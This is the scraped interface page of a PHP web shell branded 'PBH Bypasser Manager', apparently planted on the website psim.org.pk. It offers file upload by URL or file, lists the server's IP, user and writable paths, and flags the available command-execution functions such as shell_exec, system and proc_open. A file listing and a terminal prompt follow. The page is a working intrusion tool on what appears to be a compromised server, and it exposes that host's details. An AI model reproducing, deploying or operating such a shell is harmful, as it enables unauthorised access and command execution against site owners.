🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-13 05:23:10
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
anr -- 2775 2024-12-20 10:57:54 psim
hapi -- 2775 2024-12-20 10:57:53 psim
local-variables -- 2775 2024-12-20 10:57:54 psim
undici -- 2775 2024-12-20 10:57:53 psim
utils -- 2775 2024-12-20 10:57:53 psim
console.js 1.31 KB 0775 2024-12-20 10:57:51 psim
console.js.map 2.54 KB 0775 2024-12-20 10:57:53 psim
context.js 14.76 KB 0775 2024-12-20 10:57:51 psim
context.js.map 67.41 KB 0775 2024-12-20 10:57:53 psim
contextlines.js 5.51 KB 0775 2024-12-20 10:57:51 psim
contextlines.js.map 25.19 KB 0775 2024-12-20 10:57:53 psim
http.js 13.19 KB 0775 2024-12-20 10:57:51 psim
http.js.map 62.37 KB 0775 2024-12-20 10:57:53 psim
index.js 1.27 KB 0775 2024-12-20 10:57:52 psim
index.js.map 767 B 0775 2024-12-20 10:57:53 psim
modules.js 2.31 KB 0775 2024-12-20 10:57:53 psim
modules.js.map 5.07 KB 0775 2024-12-20 10:57:54 psim
onuncaughtexception.js 6.31 KB 0775 2024-12-20 10:57:53 psim
onuncaughtexception.js.map 11.62 KB 0775 2024-12-20 10:57:54 psim
onunhandledrejection.js 2.88 KB 0775 2024-12-20 10:57:53 psim
onunhandledrejection.js.map 5.51 KB 0775 2024-12-20 10:57:54 psim
spotlight.js 3.34 KB 0775 2024-12-20 10:57:53 psim
spotlight.js.map 6.87 KB 0775 2024-12-20 10:57:54 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/node_modules/@sentry/node/cjs/integrations)